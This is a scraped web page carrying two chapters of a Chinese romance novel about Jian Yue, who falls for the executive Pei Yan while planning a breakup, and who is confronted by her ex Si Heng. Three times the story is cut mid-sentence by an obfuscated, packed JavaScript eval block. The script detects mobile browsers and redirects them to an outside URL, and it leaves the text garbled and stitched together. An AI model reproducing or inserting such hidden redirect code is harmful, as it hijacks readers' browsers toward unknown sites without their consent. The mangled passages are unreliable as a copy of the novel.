d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300965|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的木质棒针。 “奶奶。”裴言牵着她的手走上台阶,他弯下腰看着老奶奶道,“我想买一些织围巾用的毛线,您这儿有合适的吗?” 奶奶听到声音,抬起头看他,笑着应道:“有,想要什么颜色的?” “浅色吧,都看看。” “有有有,我给你拿。”老奶奶放下手中正在织的围巾,站起来引着他们向里走。 裴言简单挑了几个颜色,又买了两根棒针,结账的时候,奶奶主动热心问起:“会织吗?” 这话正中裴言的意思,他微笑:“不太会,您能教教我吗?” “唉,现在的年轻人啊。”奶奶摇头叹气,“正好现在店里人少,你过来,我教你。” 男人依言拿出毛线和棒针,奶奶走向门口,见她跟在裴言身边却什么都没拿,不由问道:“你学吗?” “她不用。”裴言先一步回答,“我给她织。” “奥。”奶奶明白过来,露出恍然大悟的笑容,“小姑娘,你男朋友对你挺好。” 简月忍不住笑了,点点头,和裴言一起在门口坐下,靠上他的肩。 奶奶拿起自己织了一半的围巾演示起来。 “看好了,起针要这样起……毛线这样绕在手上,唉对对对,起针完了这样三上三下……” 阳光暖融融的,简月静静看着裴言织。 看他修长骨节分明的手,看他起针的动作,看他认真的侧脸。 他的确对她很好。 堂堂亚恒总裁,愿意放下手中所有的事坐在这里,只为了学习如何织围巾,然后织好送给她。 她能感觉到,裴言做的这一切是在哄她。 他感受到她情绪的变化,感受到她心情的低落,没有多问,只是默默陪着她,有求必应,用尽了温柔和耐心来哄她。 “调整针数学会了?那再来看收尾,这样挑针,然后再这样,诶,你学得真快……” 奶奶还在教,裴言还在学,简月听着两人交谈的话,心里渐渐生出一种天长地久的温柔。 好像那些低落的情绪都不见了,她晒着太阳,心情莫名好了许多。 之前喝奶茶吃烤红薯都没有被治愈的心情,忽然在这一刻,被裴言奇妙地治愈了。 “好了,就是这样,你回去把尾巴那截拆掉,照着上面织完再收尾,就可以给你女朋友戴了。” 男人浅浅笑着:“好,谢谢奶奶。” 走出毛线店,简月拿出围巾的半成品仔细端详,莫名有种爱不释手的感觉。 毛线很柔软,又在阳光下晒过,她拿起来蹭了下自己的脸,恍然有种被爱人轻抚的感觉。 爱人。 简月想到这个词,怔了一秒。 “好了,别看了,半成品不好看,等我回去织好再给你吧。” 简月依依不舍地将围巾还给他。 等他收好围巾,她主动挽上他的胳膊:“裴言,谢谢你,我心情好多了,我现在好高兴。” “是吗?”他笑,“总算把你哄好了。” 他果然是在哄她。 简月的心一下变得柔软,她忍不住微笑,仰起脸,撒娇一样地说道:“抱抱我。” 裴言拉开大衣,将她抱进了怀里。 男人的怀抱很温暖,她抱紧他的腰,闻到了他身上好闻的冷香。 她突然有些迷恋这个味道。 那一瞬间,一个无比清晰的认知浮现在她脑海里。 她喜欢他。 她喜欢裴言。 不知道从什么时候起,喜欢上了这个叫裴言的男人。 听着“咚咚咚”的心跳声,她满足地闭上眼,忍不住笑了。 安静被他抱了一会儿,简月说:“好了,我们回去吧,你送我回家,然后再回公司。” “嗯,好。” 两人牵着手走回了裴言停车的地方。 车很快发动,窗外的景飞速闪过,路过一个小学时,学生嬉笑打闹的声音从操场传来,简月愣了愣。 她想起今天在医院看到的司衡林曼二人,不由捏紧了身上的安全带。 孩子。 司衡喜欢孩子,那,裴言呢? 简月脸色白了白,好一会儿才在车里听见自己的声音。 她听到自己问:“裴言,你想要孩子吗?” 车猛地停下。 前方是一条斑马线和一个九十秒的长红灯。 行人一个接一个从车前走过,远处好像有汽车的轰鸣声,自行车的刹车声,喇叭声,无数人交杂的杂音。 可这些都仅限于车窗外,车外熙熙攘攘,吵吵闹闹,车内却安静得仿佛按下了暂停键,她听不到声音,只能看到窗外的景一帧一帧地变幻着。 红灯刺目,九十秒的倒计时仿佛在宣判着什么。 她的手脚渐渐冰凉,呼吸渐渐困难,有种空气都被抽走的感觉。 直到绿灯亮起,她的世界才重新有声音注入。 裴言说:“如果你想要,我们就生一个。” 32. 骄傲-32% 简月:“……” 那句话无异于一盆凉水,让她刚刚膨胀的心迅速冷却下去。 她弯了弯唇,继续问:“如果我不想要呢?” “那就不要。” 这一次,他回答得很快。 * 回到家,简月换好鞋,走到沙发旁,呆呆坐了下去。 脑子里还是裴言说过的那句话——如果你想要,我们就生一个。 原来……他也想要孩子。 对啊,她该想到的,哪个男人不想要孩子。 司衡也是,裴言也是,本质上他们没什么区别。 理智告诉她,她应该和裴言分手,他们不会有未来的。 可感性上,她竟然有点舍不得。 简月捂住脸,长叹一口气,开始想自己是从什么时候变得这么优柔寡断的。 这么简单的事,她为什么还在犹豫呢? 因为她舍不得裴言,她不想和裴言分手? 可从前的简月是一个很果决、很会断舍离的人。 既然看不到未来,就该及时抽身才对。 否则越陷越深,伤害的不止自己,还有裴言。 她坐在沙发上想了不知多久,直到夜色降临,房间变得一片漆黑,她才拿起手机,拨通了姜予彤的电话。 “予彤。”简月说,“明天你有空吗,我有事想和你聊聊。” * 姜予彤坐在老地方等简月,贴心地替两人点好了咖啡。 昨天接电话时,她就听出简月的声音不对劲儿了。 所以即便开机在即,她也放下剧本,一口答应了出来见面的事。 这些年她认识简月,一直觉得简月是个清醒又坚定的人,向前走就是向前走,不回头就是不回头,从来不会被别人影响,不会犹豫不决,不会举棋不定。 可是昨天,她竟然从简月的声音里听出了一丝犹豫和不甘心。 她怎么了? 姜予彤搅拌着咖啡,皱眉担心起简月。 很快,门被推开,门下的风铃相互撞击,发出清脆的叮铃声。 简月提着包来到她对面坐下,歉疚笑笑:“你来这么早?我错了,又让你等我了。” “没事,是我提前来了。”姜予彤说完接着问,“你要和我聊什么?” 简月轻轻一笑,轻描淡写道:“裴言。” 她语气平静,俨然没有了昨天的犹豫和不甘,像是经过一夜,已经做出了那个决定。 和裴言在一起,会有什么犹豫和不甘? 姜予彤觉得不安,轻轻问:“他怎么了?” “他没怎么,是我。”简月端起咖啡喝了一口,笑着开口,“我有两件事想告诉你。” “第一,我发现我喜欢上他了。” 姜予彤:“……” 这是一件好事,可简月说话的神色和语气,又让她觉得这件事或许没那么好。 她不敢说话,只能屏着呼吸听她继续说。 “第二,我打算和他分手了。” 姜予彤:“……” 简月说这句话的时候,脸上还带着若无其事的微笑,一瞬间让她想起,简月刚和司衡分手的时候也是这样的。 她又在压抑自己的情绪了。 姜予彤一下子很难受,忍不住问:“为什么?” “因为,他和司衡一样,都想要孩子。”简月垂下眼,轻轻道,“而我不想要。” “予彤,你知道的,我不喜欢孩子。” “你问过他吗?也许,他愿意为了你不要孩子呢?” 这句话说完,简月沉默了许久。 “问过了。”片刻后她开口,“我说如果我不想要呢,他说那就不要。” “可是予彤——”简月抬起头,眼神悲哀地看她,“司衡也对我说过一样的话。那时我对司衡说,如果你接受不了,我们可以分手,他说不分手,但后来的结果,你也看到了。” 后来的结果,是司衡绿了她,找了一个能给他生孩子的女人。 姜予彤哽了哽,说道:“但司衡是司衡,裴言是裴言,你要因为一个伤害过你的人而从此不相信任何人吗?” 简月又笑了,她弯了弯眼睛,反问道:“那你相信我会为了裴言生孩子吗?” 姜予彤:“……” 这个问题一击即中,瞬间让姜予彤明白了简月的意思。 如果她不相信简月会为了裴言生孩子,那她又凭什么相信裴言会为了简月不要孩子呢? “不相信,是吗?”她看向窗外,“所以这就是我要和他分手的原因。” 简月声音很轻,缓缓说道:“我想了一晚上,想我和司衡为什么会是那样的结局,想出来的结果就是,从一开始,我和他就不是一路人。” “以前看《Friends》,看到莫妮卡说,她想要孩子,但她不想跟一个不是真心想要孩子的人一起生,我还觉得不理解,但是现在,我理解了。” “我本应该从司衡变了脸色那一刻起就跟他分手的,可是他说不分手,我很高兴,就下意识选择了逃避,不去深想如果他改变主意怎么办,如果他很多年后和我分手怎么办。” 她吐出一口气:“但这一次关于裴言,我仔细想过了。” 她说:“我不会为任何人改变自己,所以我希望裴言也是,我希望我和他之间是平等的,相互的。我不需要他为了我而妥协,也不需要他为了我而改变自己,他只要做自己就好,你能理解吗?我没有错,他也没有错,我们只是不合适而已。” “况且,我也不希望很多年后,他和我分手,说他还是想要一个孩子,不希望很多年后,他追悔莫及地说,如果我当初没有和简月在一起,我早就有孩子了。” “予彤。”简月重新看向她,声音平静得可怕,“我和他早点分手,对谁都好。” 姜予彤哽住了。 她能理解简月的意思,可她总觉得,事情并不像简月说的那样。 虽然裴言和司衡说了一样的话,可是简月对于两人的态度……根本不一样。 彼时她和司衡也是刚在一起几个月,可司衡那么说,她想的是那就继续在一起。 如今她和裴言也在一起几个月,裴言说了同样的话,她想的竟然是害怕分开。 她害怕分开,害怕有一天会重蹈覆辙,所以她要先下手为强,逼迫自己做那个先离开的人。 况且她想得也太细了。 她不仅害怕分开,还害怕裴言后悔,害怕裴言觉得和她的过往都是错误。 她可以接受司衡为了她妥协,却不愿意接受裴言为了她妥协。 这真的不是某种意义上的双标吗? 她对裴言这样特殊,瞻前顾后,反复思虑,姜予彤忽然觉得,或许她对裴言的喜欢已经远远超过了她的想象,而她还不自知。 姜予彤不知怎么说,只能问:“真的想好了吗?不会后悔吗?” “真的。”简月喝完手里的咖啡,说,“我做出的决定,从不后悔。” 姜予彤叹一口气,点头道:“不后悔就好。” 简月向来清醒有主见,她既然已经做出决定,她就不必再多说了。 她能做的,就是尊重她,陪伴她。 姜予彤接着问:“那你打算什么时候和他分手?今天还是明天?” “一个月内。” 姜予彤:“……?” 她懵了懵,惊讶道:“一个月?这么久?” 这都有点不像简月了。 她从未想到有一天可以在简月身上,看到这么不理智的一面。 明明做好了决定,明明知道越陷越深的后果,却还是这么不理智,想和喜欢的人再多待一天,多待一刻,多待一秒。 “嗯,我还有些事想和他做。”简月微笑。 “比如?” “比如做一些和司衡做过的事,司衡背叛了我,连带着和他有关的回忆都变得恶心,所以我想和裴言再做一次,把那些不快乐的回忆都变成快乐的。” “跳伞和高空吊桥?” “嗯。” 姜予彤不由感慨。 可惜了,裴言和其他人一样想要孩子。 不然他可以和简月走下去的。 * 决定分手的第三天,围巾织好了。 白色围巾铺开在男人手心,明明是初学者,却织得有模有样,也不知他反反复复拆了多少次,织了多少次。 “我第一次织,不太熟练,你看看,喜欢吗?” 简月伸手摸了摸围巾,柔软,舒适,温暖。 “要试试吗?”裴言问。 “好啊。”简月仰起脸道,“你帮我戴。” 男人拿起围巾,动作温柔地为她戴好。 “好看吗?”简月问。 “好看。” 她笑了,换了话题:“你最近有空吗?” “怎么了?” “我想出去玩,你能不能抽两天时间陪我?” “好。”他毫不犹豫地答应,“去哪里?” “云南,我们去玩跳伞和高空吊桥。”她踮脚抱住他,“你会恐高吗?” 裴言摇头。 简月忍不住高兴:“那就好。” 她解释:“从前我和司衡也玩过这些,可是后来出了那样的事,那些回忆都因为他变得恶心,裴言,你再陪我玩一次,以后我想起这些,就都是关于你的快乐的回忆了。” 男人半晌都没有说话,蓦地,他低下头吻住她。 浅尝辄止后,他说:“你愿意和我说这些,我很高兴。” 他将头埋在她的肩窝处:“简月,我和他不一样,那些不愉快的事我不会让你经历第二次,你可以相信我。” 他对她的决定一无所知,还以为这是他们的更进一步,郑重又温柔地说着承诺一般的话。 简月心里一痛,面上却笑着应道:“嗯。” * 去云南的时间定在了12月5日。 开机那天,简月跑到片场去看姜予彤。 她没有打扰她,只在姜予彤休息的时候才上前聊几句。 聊到一半,姜予彤突然睁大眼睛,注意到她脖子上戴的围巾。 白色围巾,正是裴言亲手织的那条。 除了亲手织的,裴言后来还给她买了不少围巾,可她看来看去,还是最喜欢这一条。 姜予彤看了半天问她:“这条围巾是什么牌子的,我怎么认不出来?” 简月:“没有牌子,是他给我织的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314312|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜予彤一下懂了,惊讶道:“他还给你织围巾?这一织得好几个小时吧,他对你真好啊。” 简月笑笑,略过这个话题,说起她和裴言准备去云南的事。 5号出发,6号就回来。 姜予彤:“这么匆忙,不多玩两天?” “不用。”她摇头,“几个小时就能玩完,没必要多逗留。” 姜予彤觉得惋惜,似乎想说什么,但最终什么也没说。 * 落地云南当天,出了点意外。 天气突变,已不符合跳伞标准。 工作人员歉疚解释:“不好意思,你们改天再来吧。” 简月难免失望。 十二月的天,云层低低地压下来,冷风簌簌,她不由裹紧了自己的围巾。 裴言牵着她的手带她离开,等四下无人的时候才开口:“其实,因为天气原因跳不了伞,也是我们独一无二的回忆,这次跳不了就下次,等下次我们再来的时候,还能笑着聊起这次。” 他指一指天:“你看这个天,要不要拍张照片留个纪念?” 简月抬起头,忽然笑了。 她觉得裴言说的有道理。 无论这件事有没有做成,她和裴言为此做出的准备,路上的一切,共享的遗憾,就已经是他们独一无二的回忆。 她兴奋起来,取出手机对裴言说:“那你站过去,我给你拍张照。” 男人依言走过去,站在云层下望向远处,侧脸弧线完美,眼神温柔。 简月按下拍摄键。 拍好后她点开照片,云层在他身后低得像要坠落,壮丽得惊心动魄,好似他也身处云雾之中,下一秒就会随风消散。 一股缺失感狠狠攥紧了她的心,她忽然有种裴言离她很远的感觉。 “拍好了吗?我看看。”裴言走过来,低下头问她。 “嗯?哦,我回去后发给你。”简月压下那些乱七八糟的心思,拉起他的手跑起来,“快点,趁天还没黑,我们去走吊桥,跳伞和吊桥,我们总得玩一个吧!” 身后好像响起男人的一声轻笑,他反握上她的手,应道:“好。” 所幸高空吊桥还在开放。 穿好装备,工作人员为他们引路到桥边,说明完注意事项,便退开到一遍,示意他们可以上去了。 许是今日天气不好,气温偏低,一眼望去,吊桥竟空无一人。 吊桥处于峡谷之间,全长近百米,脚下钢板狭窄,一块一块并不相连,留有缝隙。 寒风一吹,吊桥便摇摇晃晃起来。 简月望一眼吊桥,看着深不见底的峡谷,紧张得抿紧了唇。 虽然从前她体验过,可再一次来到高空吊桥前,她还是会紧张。 “害怕吗?” 男人在身后握住她的手。 简月点了下头,又摇头:“你在我身后就不怕,你走我后面好不好?” “好。” 简月走上吊桥,摇荡的感觉比肉眼所见还要剧烈一百倍。 她胳膊撑在钢索上,一步一步走得缓慢,走了几步后她大声喊:“裴言,你害怕吗?” 风势大作,从耳边呼呼吹过,只有全力大喊才能让对方听到自己的声音。 男人听到她的声音,在身后回:“不怕。” 过了一会儿,她又喊:“你在我后面吗?” “我在。” 我在,我在,我在。 吊桥走到一半,他已回答了不知多少遍“我在”。 最中心的位置,也是风势最猛、吊桥摇晃最剧烈的位置。 像乘了风在峡谷中飘荡,天地只剩下他们二人。 而他们是彼此的唯一。 心率飙升,心跳快到一个前所未有的速度,风迎面吹来,卷起她的长发。 简月停下来,微微偏头,对着身后的男人张了张嘴。 “裴言。” 她没有用力喊,男人却看出她的意思,上前几步,低头靠近她耳边:“怎么了?” 冰冷的十二月,只有男人呼出的气流是暖的,暖流掺了风,变得清凉,从她耳边擦过。 她笑笑,努力清晰地说:“我会永远记得这一幕的。” 记得你在我身后,记得和你在一起的几个月有多快乐,记得我喜欢过你。 终于走到吊桥边,重新站在坚实的土地上,简月觉得手脚都僵硬了。 她拉住裴言的手,全身无力地和他一起坐在崖边休息。 裴言拉开衣服抱她进怀里,问她:“冷不冷?” “不冷。”简月看着他,问道,“跳伞也不怕,吊桥也不怕,你是不是什么都不怕?” “不是,我没有那么无所不能。” “那你怕什么?” 裴言却不回答。 他微微一笑,低头对着她的唇吻了下来。 云层低压,天微阴,几近傍晚。 他们在悬崖边,在黯淡的云下接吻。 吻到最后,男人颤抖的声音在她耳边响起。 “我爱你。” 她抬头望去,看到的是一双动情的眼。 那里面爱意刻骨,仿佛今生今世都不能磨灭。 这是裴言第一次说爱她。 33. 骄傲-33% 那天晚上是裴言背她回去的。 她难得任性,力气尽失,不想走路,他便摸一摸她的头发,弯腰背起了她。 简月趴在他背上,觉得一阵安心。 她扯了下围巾,将他露在外面的脖子轻轻围住,然后将头靠在他肩膀上。 男人感受到肩膀上的重量,用很轻很温柔的声音说:“睡吧。” 她闭上眼。 她想,以后再想起这些事,应该就只剩下一个人的身影了。 再也不会有另一个人了。 * 6号坐飞机回到江市,裴言先送她回家,再独自回公司。 她挥了挥手,目送着他的车离开,没有立即上楼,转而在楼下的椅子上坐了一会儿。 她还没想好什么时候跟裴言提分手。 她和裴言……就这么分手,是不是太可惜了? 简月想了片刻,没想出头绪,身侧先响起脚步声。 脚步声离她越来越近,她疑惑抬眼望去。 看清来人是谁后,她眼皮跳了跳。 竟然是司衡。 不知是不是要来见她的缘故,他的状态比医院那次好了些。 至少打理过头发,换了崭新的衣服,眼下的青黑也淡了些。 简月毫无波澜地看他一眼,起身上楼。 擦肩而过的瞬间,司衡开口:“阿月,我输了。” 她皱眉看他:“什么输了?” 这样普通的一个问题竟然让司衡变了脸色,他的眼底出现一丝裂痕,不敢相信地问:“你不知道?” “我要知道什么?” “你每天都和裴言在一起,他做了什么,你不知道?” 简月终于明白过来他在说什么。 大抵是亚恒又将创世摆了一道吧。 这些天一直在想和裴言分手的事,她已经很久没关注过这些了。 简月冷淡道:“我对你的事不感兴趣,自然不会和裴言浪费时间提起你。”她觉得厌烦,抬脚就要走,“以后不要出现在我面前了,我不想看见你。” “对我没兴趣?那你对谁有兴趣,裴言吗,你喜欢上他了?” 这句话让简月再次停下脚步。 她笑了,转身重新看他,承认道:“对,我喜欢他,我喜欢裴言,满意了吗?” 司衡脸上的表情瞬间变得扭曲。 他仿佛受到什么刺激,失控地来到她面前,语气激动道:“不可能!你怎么会喜欢他!” “为什么不可能?”简月直视着他,用力一字一句道,“裴言比你好一千倍,一万倍,你根本比不上他。” “一千倍,一万倍?”司衡重复着她的话,失控的情绪稍缓,像被安慰到一样,轻声说,“你果然还是恨我。” “恨你?”简月轻嗤,“你别往自己脸上贴金了,要不是你今天出现在我面前,我都快忘了有你这么个人了,恨你,值得吗?” 她冷冷看他一眼,眼里有轻视,有厌烦,有不屑,就是没有他要的爱和恨,她说:“别再来烦我了,滚开。” 男人的脸蓦然变得惨白,他喃喃重复:“忘了,快忘了?什么叫快忘了?不,不可以,不许!” 眼看简月开门就要走进去,司衡大脑一空,快步上前,在最后一刻拉住她手腕。 “阿月。”他呼吸急促,眼眶竟是渐渐红了,“所以我连你的恨都不配得到,是吗?” “当然。” 简月想抽开自己的手,却被司衡握得更紧,他说:“你不能这样对我。” “怎样对你?是出轨绿了你,还是莫名其妙搞出来一个孩子?”她眼神讥讽,“这些好像是你对我做出来的事吧?” 司衡死死盯着她,否认道:“不是的,不是的……” “不是什么?我亲眼所见,你亲口承认,难道现在你不敢认了?” “我没有背叛你!” 压抑许久的真相就那样说出了口,他忽然平静下来,继续说道:“孩子不是我的。” 司衡重复:“阿月,孩子不是我的,我从来没有背叛过你,天地可证,我爱的人只有你一个。” 这句话像一声平地惊雷,饶是简月也有些没反应过来,露出迷茫神色。 ……他在说什么? 什么叫从来没有背叛过她,什么叫孩子不是他的? 难道他认了个别人的孩子叫自己爹吗? 她惊恐地看着司衡,觉得他好像脑子出问题了:“你在说什么,你疯了吗?” “没有,我很清醒,我一直都很清醒。”他眸色深沉,透出一种诡异的平静,“阿月,你想知道真相吗,我可以解释给你听。” 简月气笑了:“好啊,你先放开我。” 司衡果然放开了她。 她低头嫌弃地拍了下被他抓过的地方,然后才看向他,冷冷道:“三句话。” 司衡眸色黯了黯,但还是依言解释起来。 “孩子是林曼前任的,那个男人没什么家世,他们不许林曼和他在一起。” “被逼分手后,林曼发现自己怀孕了,她害怕家里人继续逼她打胎,于是找上了我。” “而我正在被司知行警告,逼我和你分手,后面的事……你应该能猜到。” 三句话解释完,司衡看她:“阿月,我和林曼之间什么都没有发生,我从来没有背叛过你。” 他声音低了些,卑微道:“阿月,司知行不允许我和一个不会生孩子的女人结婚,自从他知道你不愿意生孩子后,他就一直在向我施压,逼我分手。你不知道,那段时间我每天都在害怕,害怕那是我们在一起的最后一天。” “我知道我们不可能了,我也知道很多人喜欢你,你很快就会和别人在一起,但我怎么甘心?阿月,我宁愿你恨我,至少我能在你心里占据一席之地。” “但现在,你告诉我,你连恨我都没有了,我怎么甘心?”他额头上青筋跳动,面容渐渐狰狞,“阿月,你不能这样对我,你回来,你和裴言分手,好不好?现在司知行不会再打扰我们了,裴言想利用你拿到创世,那就给他好了,谁在乎?” 他的眼神近乎炙热,灼灼盯着她:“我只要你。” 简月目瞪口呆地看着他,像从来没有认识过他一样,仿佛他是个疯子。 那双眼里再没有当初的羞涩与心动,只剩下荒唐和不可置信。 半晌,她用力推了他一把,怒道:“你有病!” 男人被推得向后踉跄几步,再抬起头时,正见简月胸口剧烈起伏着,她狠狠盯着他,问道:“你爱我吗?” “我当然!”司衡立刻道。 “不,你不爱!你根本就是个自私鬼,从头到尾,你爱的人都只有你自己!”简月上前几步,揪住他衣领,咬牙道,“你以为这样我就会感动,我就会原谅你吗?不,我只会觉得自己瞎了眼,竟然喜欢过你这样的人,竟然为你的喜欢感动过!” 男人被她揪住衣领却毫无挣脱的意思,只脸色白了白,缓缓问:“什么意思?” “只想让我恨你?司衡,那你考虑过我看到你出轨时的心情吗,考虑过我听到你亲口承认时的心情吗?你有没有想过我也是人,我看到那些也会伤心失落,也会痛苦难过?” “你没有。”简月冷冷笑出声,替他做出了回答,“司衡,在我和你之间,你考虑的是自己,这样,你还敢说你爱我?” 司衡嘴唇颤了颤,脸上的血色彻底褪去,像最后一块遮羞布被扯去,他想反驳,却发现什么也反驳不出来。 “你知不知道裴言从来不会这样对我?你连他的……” “别说了!”司衡骤然打断,恨恨道,“别提他,阿月,我求你别提他,你究竟是从什么时候开始满口裴言的?你就这么喜欢他?” “……”简月轻笑一声,松开他的衣领,昂起下巴道,“对,我们两情相悦,他喜欢我,我喜欢他。” 清晰、明确的回答,终于让司衡眼里的光渐渐熄灭。 “死心了吗?”怒意过后,简月看他的眼神又变成了毫无波澜毫无感情的样子,与路边的一草一木都没有区别,“死心了就滚吧,你不是说你了解我吗,那你应该很清楚我从不吃回头草。” “司衡,不管怎样,我们结束了,别再来烦我。” 说完这句话,她毫不犹豫转身离开,没有回家,而是奔向车库上了车,以最快的速度向裴言的家开去。 说不清为什么,她现在迫切地想见裴言。 想见他,想抱他,想和他在一起。 莫名的,特别想他。 来到门前,简月下意识敲门,手指挨上门的那一刻,她才想起不用敲。 裴言第一次带她回家的时候,就帮她录过指纹了。 她可以随时、任意出入他的家。 简月放下手,将食指按在指纹锁上,一声机械提示音后,门开了。 她拉开门走了进去。 门口整整齐齐摆着两双拖鞋,一双男士,一双女士。 裴言还没回家。 她换好鞋,脱了外套挂好,向里走去。 以往每次来裴言家,都是匆匆来又匆匆走,还没好好观察过他家,现在就剩她一个人,简月不由观察起他的家。 家具设计虽是极简风,但边边角角摆了绿植,灯光又选了暖黄色,是以并不显清冷,整体氛围有种冷中带柔的感觉。 和裴言本人简直如出一辙。 她笑笑,走进书房,一眼就被桌上一个相框吸引。 相框材质贵重,设计简约大气,有种低调的奢华,她以为会是什么顶级摄影师拍出的作品,走近看才发现,只是一张极普通的照片。 英式老建筑前,几个行人正三三两两地过马路。 整张照片的拍摄技巧和角度都相当一般,前景不突出,后景不清晰,毫无美感地糊成一片,只能通过建筑风格勉强辨认出,大约是英国某个地方。 简月看了几眼觉得眼熟,似乎在哪里见过,想了片刻终于知道是哪里眼熟了。 这不就是裴言的手机主屏背景? 奇怪,这么普通的照片他却如此珍爱,是有什么特殊意义吗? 思索间,门口响起开门声。 短暂的安静后,男人的声音自门口响起,带着几分不确定:“简月?” 简月放下照片,快步从书房走出,看着裴言微笑道:“想我了吗?” 男人怔怔看着她。 她只好主动跑到他面前,张开双手仰起头道:“抱我。” 男人终于有了反应,低头抱住她:“不是回家了吗?怎么又过来了?” “你走之后,司衡来找我了。”知道裴言不喜欢听司衡的事,简月语速飞快,“我不想见他,所以来你这里待一会儿。” 裴言:“……” 片刻后他应道:“这样。” 他淡淡一笑,松开她开始换鞋,顺便问她:“吃过饭了吗?” “没有,你要给我做吗?” 裴言略一思忖,点头:“可以。” 晚饭是一菜一汤加米饭,简月看到他只拿了一个饭碗出来,不由问道:“你不吃吗?” “我在公司吃过了,你吃吧。” 好吧。 那她就不客气了。 第二次吃裴言做的饭,简月还是很喜欢。 虽然她吃饭不怎么挑,但裴言的手艺就是更合她胃口。 吃饭途中,裴言一直安静看她,欲言又止很多次,他终于开口:“他去找你,大概是因为从明天开始,创 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341024|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世就不属于司家了。” “我一直没跟你提,是怕你不想听他的事。” 除了怕她不想听,私心里,他也不想主动提起司衡,提起她的前男友。 简月看他:“他破产了,是吗?” “差不多。”裴言嗓音淡淡,“创世的情况每况愈下,每天都在拆东墙补西墙填资金链的窟窿,高管纷纷另寻出路,抛售股份,不出意外,创世就要被亚恒收购,并入亚恒之下了。” 这个结果,简月并不意外。 甚至比她想的还好一些。 创世资金链断裂,被亚恒收购,以后的话语权都要落入亚恒手中,一把手也会换成亚恒的人,司衡已经失去同裴言较量的资本。 他彻底无力回天了。 小半年前的期望就这样被裴言实现,简月弯了弯唇:“挺好。” 她不想再谈司衡,转移话题道:“对了,我刚刚在你书房看到一个相框,相框里的照片好像和你的手机主屏一模一样,那是什么,对你很特殊吗?” 男人闻言一顿,接着轻描淡写道:“没什么,拍的第一张照片,留个纪念而已。” “那是你拍的?”简月惊讶,“在英国吗?我看建筑风格挺像伦敦的。” “嗯,英国。” 她莫名笑起来,饭都吃不下去:“我终于发现你有不行的事了,裴言,看不出来,你拍照技术那么烂。” 裴言:“……” 他危险地眯了眯眼,提醒道:“你知不知道,有两个字最好不要对男人提起。” 哪两个字? 简月一下就想歪了。 裴言鲜少露出这种神情,简月有种被他用眼神戏弄和吃干抹净的感觉,脸上僵了僵,笑不出来了。 她慌张又羞涩地低下头,不敢再看他。 吃完饭,裴言去洗碗,简月在他旁边默默站了一会儿,忽然道:“我不想见司衡,晚上不想回去了,能不能在你这儿住一晚?” “就……不打扰你的那种,我凑合住一晚,睡沙发也可以。” “……”裴言手下动作没停,才因为她前半句话一愣,就又因为她后半句话失笑,“让女朋友睡沙发,自己睡床,那我成什么人了?” “家里还有空房间,我洗完碗去给你收拾,你先洗澡吧。” “……等等,那我洗完澡换什么衣服?我来得急,什么都没带,你有给我准备睡衣吗?” 裴言:“……” 没有。 在简月没开口前,他哪里敢奢望和她同住一个屋下。 “不然……你给我一件你的衬衫穿也行。”简月好心提议道,“你家有洗衣机吧,有烘干功能吧,借你衬衫穿一晚,明天早上我换下来的衣服肯定就干了。” 裴言默默将洗干净的碗收好,点头:“好。” 他从衣柜里取出一件黑衬衫给她:“新的,我没有穿过。” 他看一眼卫生间说:“你先洗吧,我去给你收拾房间。” 简月拿着衬衫进去洗澡。 洗好后,她穿上衬衫,向下扯了扯,看着堪堪盖过大腿的长度,有点不好意思。 她抱着脏衣服从卫生间出来,一步一步挪向了裴言所说的空房间。 他刚刚铺好床,站直身体的一瞬,恰好看到她进来。 男人眸色深了深。 注意到他的眼神变化,简月用衣服又遮了遮腿。 倒不是排斥被裴言看,她就是觉得……觉得不好意思。 他克制地移开目光,说:“我去洗澡,你要是不好意思让我帮你洗衣服,可以自己去阳台用洗衣机。” “嗯、好。”她颇不自然地应道。 直到裴言走出房间,简月才轻轻舒了口气。 刚才那种气氛,她都有点紧张了。 等裴言进了卫生间,简月才放心地抱着脏衣服去阳台。 设置好洗衣模式,见时间还早,简月拿着手机又回了客房。 她拉开被子盖在腿上,开始给姜予彤发消息。 简月:[就在刚刚,我决定了一件事。] 简月:[决定在分手前,最后行使一下他女朋友的权利。] 这是她见完司衡后就一直在想的事。 之前她决定分手,是因为裴言和司衡一样想要孩子,她怕重蹈覆辙,但今天见过司衡,司衡说从来没有背叛过她时,她忍不住重新审视起这个问题。 如果司衡没有因为孩子背叛她,她还有必要和裴言分手吗? 想出来的结果是有。 孩子是客观问题,是现实问题,无论司衡有没有背叛她,这都是横亘在她和裴言中间的问题。 她发现她还是不想裴言后悔,还是不想很多年后,裴言再提起她,只剩下一句“如果我当初没有和简月在一起,我早就有孩子了。” 只要裴言还想要孩子,他们之间就永远不可能有未来。 她不能像一只温水里的青蛙,眼睁睁看着自己沉溺,溺毙。 但抛开这些,感性上她又的确很喜欢裴言。 所以,她决定做一件大胆的、让自己不后悔的事。 姜予彤:[???] 